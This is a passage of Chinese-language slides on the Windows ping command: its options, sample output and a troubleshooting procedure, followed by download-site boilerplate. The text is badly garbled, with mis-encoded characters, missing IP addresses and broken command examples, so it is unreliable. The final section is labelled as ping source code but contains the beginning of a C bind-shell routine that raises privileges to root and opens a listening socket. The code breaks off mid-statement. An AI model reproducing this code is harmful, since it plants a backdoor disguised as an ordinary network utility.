Count用于指定IP標(biāo)頭中的“記錄路由”選項(xiàng)用于記錄由“回響請求”消息和對應(yīng)的“回響應(yīng)答”消息使用的路徑(僅適用于IPv4)。-s

Count用于指定IP

標(biāo)頭中的“Internet

時(shí)間戳”選項(xiàng)用于記錄每個(gè)躍點(diǎn)的回響請求消息和對應(yīng)的回響應(yīng)答消息的到達(dá)時(shí)間。-jHostList用于指定“回響請求”消息對于HostList中指定的中間目標(biāo)集在IP標(biāo)頭中使用“稀疏來源路由”選項(xiàng)(僅適用于IPv4)。-kHostList用于指定“回響請求”消息對于HostList中指定的中間目標(biāo)集在IP標(biāo)頭中使用“嚴(yán)格來源路由”選項(xiàng)(僅適用于IPv4)。使用嚴(yán)格來源路由,下一個(gè)中間目標(biāo)必須是直接可達(dá)的(必須是路由器接口上的鄰居)。5/20/202231-w

Timeout用于指定等待回響應(yīng)答消息響應(yīng)的時(shí)間(以微

秒計(jì)),該回響應(yīng)答消息與收到的指定回響請求消息對應(yīng)。-R用于指定應(yīng)跟蹤往返路徑(僅適用于IPv6)。-S

SrcAddr用于指定要使用的源地址(僅適用于IPv6)。-4用于指定將IPv4用于ping。不需要用該參數(shù)識別帶有

IPv4地址的目標(biāo)主機(jī)。僅需要它按名稱識別主機(jī)。-6用于指定將IPv6用于ping。不需要用該參數(shù)識別帶有

IPv6地址的目標(biāo)主機(jī)。僅需要它按名稱識別目標(biāo)主機(jī)。TargetName用于指定目標(biāo)主機(jī)的名稱或IP

地址。/?用于在命令提示符下顯示幫助。5/20/202232Ping還可以用于測試計(jì)算機(jī)名和計(jì)算機(jī)的IP地址。如果ping

IP地址成功,但ping計(jì)算機(jī)名未成功,這可能是由于名稱解析問題所致。在這種情況下,要確保指定的計(jì)算機(jī)名可以通過本地主機(jī)文件進(jìn)行解析,方法是通過域名系統(tǒng)DNS查詢或NetBIOS名稱解析技術(shù)進(jìn)行解析。只有當(dāng)Internet協(xié)議(TCP/IP)在“網(wǎng)絡(luò)連接”中安裝為網(wǎng)絡(luò)適配器屬性的組件時(shí),該命令才可用。以下示例顯示ping命令的輸出:C:\>pingPinging

[32]

with

32

bytes

of

data:Reply

from

32:

bytes=32

time=101msTTL=124Reply

from

32:

bytes=32

time=100msTTL=124Reply

from

32:

bytes=32

time=120msTTL=124Reply

from

32:

bytes=32

time=120msTTL=124如果要ping目標(biāo)地址為32的主機(jī)并解析其主機(jī)名,則鍵入:ping-a325/20/202233要發(fā)送10個(gè)回響請求消息來ping目標(biāo)32,且每個(gè)消息的“數(shù)據(jù)”字段長度為1000字節(jié),請鍵入:ping

-n

10-l

100032要ping目標(biāo)32并記錄4個(gè)躍點(diǎn)的路由,請鍵入:ping

-r

4

32要ping目標(biāo)32并指定稀疏來源路由為--,請鍵入:ping

-j

32使用ping測試連接。ping命令用于驗(yàn)證IP級的連接性。進(jìn)行故障排除時(shí),可以使用ping向目標(biāo)主機(jī)名或IP地址發(fā)送

ICMP回顯請求。只要需要驗(yàn)證主機(jī)能否連接到TCP/IP網(wǎng)絡(luò)和網(wǎng)絡(luò)資源,就可使用ping。也可以使用ping將網(wǎng)絡(luò)硬件問題和不兼容配置區(qū)分開來。5/20/202234通常最好先用ping命令驗(yàn)證本地計(jì)算機(jī)和網(wǎng)絡(luò)主機(jī)之間的路由是否存在,并驗(yàn)證要連接的網(wǎng)絡(luò)主機(jī)的IP地址。

Ping

目標(biāo)主機(jī)的IP地址看它是否響應(yīng),如下所示:ping

IP_address使用ping時(shí)應(yīng)該執(zhí)行以下步驟:1.Ping環(huán)回地址,驗(yàn)證在本地計(jì)算機(jī)上的TCP/IP配置是否正確。ping

2.

Ping本地計(jì)算機(jī)的IP地址驗(yàn)證該計(jì)算機(jī)是否正確地添加到網(wǎng)絡(luò)。ping

IP_address_of_local_host3.Ping默認(rèn)網(wǎng)關(guān)的IP地址驗(yàn)證默認(rèn)網(wǎng)關(guān)是否運(yùn)行及能否與本地網(wǎng)絡(luò)的本地主機(jī)通訊。ping

IP_address_of_default_gateway4.

Ping

遠(yuǎn)程主機(jī)的IP地址驗(yàn)證能否通過路由器通訊。5/20/202235ping

IP_address_of_remote_hostping命令使用Windows套接字樣式的名稱解析將計(jì)算機(jī)名解析成IP地址,所以如果ping地址成功,但是ping名稱失敗,則問題出在地址或名稱解析上,而不是網(wǎng)絡(luò)連接問題。詳細(xì)信息,請參閱使用arp對硬件地址進(jìn)行故障排除。如果在任何情況下都無法成功地使用ping,請確認(rèn):配置TCP/IP

之后重新啟動(dòng)計(jì)算機(jī)?!癐nternet

協(xié)議(TCP/IP)

屬性”對話框“常規(guī)”選項(xiàng)卡上的本地計(jì)算機(jī)的IP地址是否有效而且正確顯示。啟用IP路由,并且路由器之間的鏈接是可用的。可以將不同的選項(xiàng)用于ping命令,來指定要使用的數(shù)據(jù)包大小、要發(fā)送多少數(shù)據(jù)包、是否記錄用過的路由、要使用的生存時(shí)間TTL值以及是否設(shè)置“不分段”標(biāo)志。可以鍵入

ping-?查看這些選項(xiàng)。5/20/202236下例說明如何向IP地址發(fā)送兩個(gè)ping,每個(gè)都是1,450字節(jié):C:\>ping

-n

2-l

1450Pinging

with

1450

bytes

of

data:Reply

from

:bytes=1450

time<10msTTL=32Reply

from

:bytes=1450

time<10msTTL=32Ping

statistics

for

:Packets:Sent

=

2,

Received

=

2,

Lost

=

0

(0%

loss),Approximate

roundtrip

times

in

milliseconds:Minimum

=

0ms,

Maximum

= 10ms,

Average=

2ms默認(rèn)情況下,在顯示“請求超時(shí)”消息之前,ping會(huì)等待

4,000毫秒讓每個(gè)響應(yīng)返回。如果通過ping探測的遠(yuǎn)程系統(tǒng)經(jīng)過長時(shí)間延遲的鏈路,如衛(wèi)星鏈路,則響應(yīng)可能會(huì)花較長時(shí)間才能返回。可以使用-w(等待)選項(xiàng)指定更長的超時(shí)。5/20/202237要通過使用ping命令檢查連通性,請?jiān)诿钐崾痉?,鍵入ping和要到達(dá)的IP地址?!癉estination

netunreachable(目標(biāo)網(wǎng)絡(luò)不可到達(dá))”響應(yīng)表明沒有到目標(biāo)位置的路由。需要檢查在“Destination

netunreachable(目標(biāo)網(wǎng)絡(luò)不可到達(dá))”消息的“Reply

from(回答來自)”地址中列出的路由器的路由表。關(guān)于路由表的詳細(xì)信息,請參閱了解IP路由表。響應(yīng)為“Request

timed

out”表明在默認(rèn)的1秒時(shí)間期間沒有對探測作出響應(yīng)。可以檢查以下原因:路由器關(guān)閉。要檢查在源和目標(biāo)之間的路徑中的路由器,請使用tracert命令。目標(biāo)主機(jī)關(guān)閉。物理驗(yàn)證主機(jī)正在運(yùn)行或通過其他協(xié)議檢查連通性。沒有路由返回到計(jì)算機(jī)。如果主機(jī)正在運(yùn)行,則可以通過查看默認(rèn)網(wǎng)關(guān)和目標(biāo)主機(jī)上的本地路由表檢查返回的路由。響應(yīng)的等待時(shí)間多于一秒。使用ping命令的-w選項(xiàng)增加超時(shí)。例如,要允許在5秒鐘內(nèi)響應(yīng),請使用ping-w

5000。5/20/2022389.6.2

命令ping源碼例程#include

"stdio.h"#include

"fcntl.h"#include

"errno.h"#include

"signal.h"#include

"sys/types.h"#include

"sys/socket.h"#include

"sys/time.h"#include

"netinet/in.h"#include

"arpa/inet.h"#include

"netdb.h"#define

SIZEPACK

88#define

PORT

34567void

child_kill(){wait(NULL);

//調(diào)用wait等待子進(jìn)程終斷或結(jié)束signal(SIGCHLD,child_kill);}5/20/202239//當(dāng)前發(fā)出調(diào)用的進(jìn)程設(shè)置真正和有效用戶ID//設(shè)置當(dāng)前發(fā)出調(diào)用的進(jìn)程的真正,有效用戶組ID//設(shè)置當(dāng)前進(jìn)程有效的用戶識別碼//設(shè)置當(dāng)前進(jìn)程有效的用戶組識別碼intbind_shell(){int

soc_des,

soc_cli,

soc_rc,

soc_len,

server_pid,

cli_pid;struct

sockaddr_in

serv_addr;struct

sockaddr_in

client_addr;setuid(0);setgid(0);seteuid(0);setegid(0);chdir("/");soc_des

=

socket(AF_INET,

SOCK_STREAM,

IPPROTO_TCP);//定義數(shù)據(jù)包if

(soc_des

==

-1)exit(-1);bzero((char

*)

&serv_addr,sizeof(serv_addr));serv_addr.sin_family=

AF_INET;serv_addr.sin_addr.s_addr

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論